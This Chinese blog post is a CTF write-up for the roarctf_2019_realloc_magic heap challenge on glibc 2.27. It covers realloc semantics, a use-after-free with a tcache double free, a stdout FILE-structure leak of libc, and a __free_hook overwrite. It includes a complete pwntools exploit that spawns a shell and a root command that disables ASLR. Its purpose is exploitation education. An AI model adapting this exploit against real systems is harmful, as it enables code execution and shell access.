• realloc函数应用&IO泄露体验


    本题主要介绍realloc函数,平时我们使用realloc最多便是在打malloc_hook-->onegadget的时候,使用realloc_hook调整onegadget的栈帧,从而getshell。

    在realloc函数中,也能像malloc一样创建堆,并且比malloc麻烦一些,但是倒是挺有趣的

    realloc

    realloc(realloc_ptr, size)有两个参数,并且在特定参数有特定效果

    1. 1. size == 0 ,这个时候等同于free。也就是free(realloc_ptr),并且返回空指针。即没有uaf

    2. 2. realloc_ptr == 0 && size > 0 , 这个时候等同于malloc,即malloc(size)

    3. 3. malloc_usable_size(realloc_ptr) >= size, 这个时候等同于edit

    4. 4. malloc_usable_size(realloc_ptr) < szie, 这个时候才是malloc一块更大的内存,将原来的内容复制过去,再将原来的chunk给free掉

    stdout泄露

    这里我只给出结论,具体可以参考

    1. 1. 设置_flags & _IO_NO_WRITES = 0

    2. 2. 设置_flags & _IO_CURRENTLY_PUTTING = 1

    3. 3. 设置_flags & _IO_IS_APPENDING = 1_flags = 0xFBAD1800

    4. 4. 设置_IO_write_base指向想要泄露的位置,_IO_write_ptr指向泄露结束的地址(不需要一定设置指向结尾,程序中自带地址足够泄露libc)

    具备以上基础我们可以来实战一题了

    roarctf_2019_realloc_magic

    1. Arch:     amd64-64-little
    2. RELRO:    Full RELRO
    3. Stack:    Canary found
    4. NX:       NX enabled
    5. PIE:      PIE enabled

    64位,保护全开

    前情提要:

    本题部署在2.27-3ubuntu1_amd64/libc-2.27.so

    建议关闭linux地址空间随机化(ASLR),方便调试。

    在root用户下执行

    echo 0 > /proc/sys/kernel/randomize_va_space

    realloc

    1. int re()
    2. {
    3.   unsigned int size// [rsp+Ch] [rbp-4h]
    4.   puts("Size?");
    5.   size = get_int();
    6.   realloc_ptr = realloc(realloc_ptr, size);
    7.   puts("Content?");
    8.   read(0, realloc_ptr, size);
    9.   return puts("Done");
    10. }

    free

    1. int fr()
    2. {
    3.   free(realloc_ptr);
    4.   return puts("Done");
    5. }

    存在uaf,可以利用起来

    这里有个清零指针的函数

    1. int ba()
    2. {
    3.   if ( lock )
    4.     exit(-1);
    5.   lock = 1;
    6.   realloc_ptr = 0LL;
    7.   return puts("Done");
    8. }

    程序特别简单,但是利用比较精妙,

    在realloc的时候,因为每次都是使用realloc_ptr,并且没有变化,导致每次申请的chunk都会写在在realloc_ptr指向的地址,再次申请比上一次的size大就可以往后溢出写

    思路

    通过realloc,和uaf,构造好tcache的布局

    然后把_IO_2_1_stdout 链到bin里面,通过stdout泄露libc,得到free_hook

    最后正常打free_hook:free_hook-->system-->/bin/sh

    首先利用malloc(size)和free(size)在tcache上面先准备好

    malloc(size)可以由realloc(realloc_ptr,size)得到(本文上面的第二个效果)

    free(size)可以由realloc(realloc_ptr,size=0)得到(本文上面的第一个效果)

    1. realloc(0x20,b'b') #这个是为了后面溢出修改main_arena为_IO_2_1_stdout_准备
    2. realloc(0,"")
    3. realloc(0x90,b'b')
    4. realloc(0,"")
    5. realloc(0x10,b'b')
    6. realloc(0,"")

    图片

    image-20230912125521459

    1. realloc(0x90,b'b')
    2. for i in range(7):
    3.     dele()
    4. realloc(0,"")

    这一步非常重要,首先将0x90的地址申请回来,赋值给realloc_ptr,在通过uaf,tcache double free free掉7次,填满tcache bin,然后再free一次,使0x90进入到unsortedbin,把main_arena链进来

    为什么第八次free需要使用realloc去free呢?

    因为首先是因为用来链上unsortedbin,其次用来清空掉realloc_ptr指针,不影响后面的chunk使用

    图片

    image-20230912162307540

    看一下此时的堆空间

    图片

    image-20230912162721962

    1. realloc(0x20,b"aaa")
    2. pl=p64(0)*5+p64(0x81)+b"\x60\xc7"
    3. #realloc(0x50,b'aaa')
    4. #这里的注释是用来方便看你申请的堆放哪里去了,可以自己看一下
    5. realloc(0x50,pl)

    这里看上面图片的堆布局,如果你用了注释看了一下gdb,就知道为什么这样摆了,

    后面申请的0x50是因为能刚好申请到更改unsortedbin的范围,大一点也没关系

    首先改chunkB,也就是我们放入unsortedbin的chunk,改掉size值,可以结合realloc(0),多一次malloc

    后面的"\x60\xc7"看图就知道了

    图片

    image-20230912170239859

    _IO_2_1_stdout_main_arena相差了4位,并且低三位是固定的,只需要爆破一位

    (因为我关闭了ASLR,所以直接\x60\xc7打本地不用爆破一次通(x))

    直接看成果图

    图片

    image-20230912162925182

    图片

    image-20230912162934528

    可以发现成功链上了_IO_2_1_stdout_,接下来我们只需要把他申请回来就行

    1. realloc(0,"")
    2. realloc(0x90,b'aa')
    3. realloc(0,"")
    4. pl=p64(0xfbad1887)+p64(0)*3+b'\x58'
    5. realloc(0x90,pl)

    这里就涉及到_IO_2_1_stdout_泄露libc了,(下图都还没改的

    0xfbad1887照着原来的就行低两位,高地址就是取我们设定好的0xFBAD1800

    图片

    image-20230912170911195

    图片

    image-20230912183447804

    这里前面的_IO_read_xx用p64(0)填充掉,然后利用_IO_write_base设置指向想要泄露位置,比如说改成\x58

    也就是

    图片

    image-20230912184335327

    _IO_file_jumps泄露出来,就可以计算libc,别的位置都可以,只需要是能算libc的即可

    然后算出free_hook,system的libc地址,

    接下来首先先用给的清理realloc_ptr的函数,将realloc_ptr置0

    1. sla(menu,'666')
    2. realloc(0x30,b'a')
    3. realloc(0,"")
    4. realloc(0xa0,b'a')
    5. realloc(0,"")
    6. realloc(0x10,b'b')#2 
    7. realloc(0,"")
    8. realloc(0xa0,b'b')
    9. for i in range(7):
    10.     dele()
    11. realloc(0,"")
    12. realloc(0x30,b'a')
    1. pl=p64(0)*7+p64(0x71)+p64(free-8)
    2. realloc(0x70,pl)
    3. realloc(0,"")
    4. realloc(0xa0,b'a')
    5. realloc(0,"")
    6. realloc(0xa0,b'/bin/sh\x00'+p64(sys))
    7. dele()

    free-8是为了放好/bin/sh,然后顺便下一个将free_hook改成system

    完整exp:

    1. from pwn import*
    2. def debug(cmd = 0):
    3.         if cmd == 0:
    4.             gdb.attach(r)
    5.         else:
    6.             gdb.attach(r,cmd)
    7.         pause()
    8. menu=b">>"
    9. def realloc(size,con):
    10.     r.sendlineafter(menu, b'1')
    11.     r.sendlineafter(b'ize',str(size))
    12.     r.sendafter(b'ent',con)
    13. def dele():
    14.     r.sendlineafter(menu,b'2')
    15.     
    16. libc=ELF("libc-2.27.so")
    17. context(os='linux', arch='amd64',log_level='debug')
    18. def pwn():
    19.     realloc(0x20,b'b')
    20.     realloc(0,"")
    21.     realloc(0x90,b'b')
    22.     realloc(0,"")
    23.     realloc(0x10,b'b')
    24.     realloc(0,"")
    25.     realloc(0x90,b'b')
    26.     for i in range(7):
    27.         dele()
    28.     realloc(0,"")
    29.     realloc(0x20,b"aaa")
    30.     payload=p64(0)*5+p64(0x81)+b"\x60\xc7"
    31.     #realloc(0x50,b'aaa')
    32.     realloc(0x50,payload)
    33.     
    34.     realloc(0,"")
    35.     realloc(0x90,b'aa')
    36.     realloc(0,"")
    37.     payload=p64(0xfbad1886)+p64(0)*3+b'\x58'
    38.     realloc(0x90,payload)
    39.     #debug()
    40.     leak=u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-libc.sym['_IO_file_jumps']
    41.     print(hex(leak))
    42.     free=leak+libc.sym['__free_hook']
    43.     system=leak+libc.sym['system']
    44.     r.sendlineafter(menu,'666')
    45.     realloc(0x30,b'a')
    46.     realloc(0,"")
    47.     realloc(0xa0,b'a')
    48.     realloc(0,"")
    49.     realloc(0x10,b'b')#2
    50.     realloc(0,"")
    51.     realloc(0xa0,b'b')
    52.     for i in range(7):
    53.         dele()
    54.     realloc(0,"")
    55.     realloc(0x30,b'a')
    56.     payload=p64(0)*7+p64(0x71)+p64(free-8)
    57.     realloc(0x70,payload)
    58.     realloc(0,"")
    59.     realloc(0xa0,b'a')
    60.     realloc(0,"")
    61.     realloc(0xa0,b'/bin/sh\x00'+p64(system))
    62.     dele()
    63.     r.interactive()
    64. for i in range(1):
    65.     try:
    66.         r=process("./pwn")
    67.         pwn()
    68.         break
    69.     except:
    70.         r.close()
  • 相关阅读:
    【软考 系统架构设计师】系统可靠性分析与设计② 可靠性设计
    3.6 空值的处理
    【Python从入门到实践】Python初识
    WZOI-302猴子选大王
    Tuxera NTFS2024Mac电脑磁盘读写工具
    SpringBoot集成腾讯云存储COS服务
    upload-labs靶场通关指南(14-15关)
    Leetcode 50. Pow(x, n)
    es6和commonjs对导入导出的值修改是否影响原模块
    MYSQL--事务
  • 原文地址:https://blog.csdn.net/YJ_12340/article/details/133929810